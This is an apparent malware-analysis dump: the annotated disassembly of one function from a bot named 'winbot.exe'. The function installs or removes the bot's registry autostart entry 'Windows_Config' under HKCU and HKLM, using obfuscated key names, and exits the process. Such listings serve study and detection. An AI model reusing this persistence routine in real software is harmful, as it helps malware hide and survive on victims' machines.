Function at 0x40482d
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov dword [ebp - 0xc], 0xfa
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.tpguxbsfnxdwsp
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
cmp dword [ebp + 8], 0
je 0x4048b0
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], str.Windows_Config
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
call eax
sub esp, 8
jmp 0x40493f
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0xd8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Windows_Config
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
test eax, eax
jne 0x404907
mov dword [esp + 4], str.winbot.exe
lea eax, [ebp - 0xd8]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x40493f
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], 0x7f
mov dword [esp + 0x10], str.winbot.exe
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Windows_Config
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.tpguxbsfnxdws
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
cmp dword [ebp + 8], 0
je 0x4049db
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], str.Windows_Config
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
call eax
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0xd8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.Windows_Config
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
test eax, eax
jne 0x404a32
mov dword [esp + 4], str.winbot.exe
lea eax, [ebp - 0xd8]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x404a6a
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], 0x7f
mov dword [esp + 0x10], str.winbot.exe
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Windows_Config
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
nop
leave
ret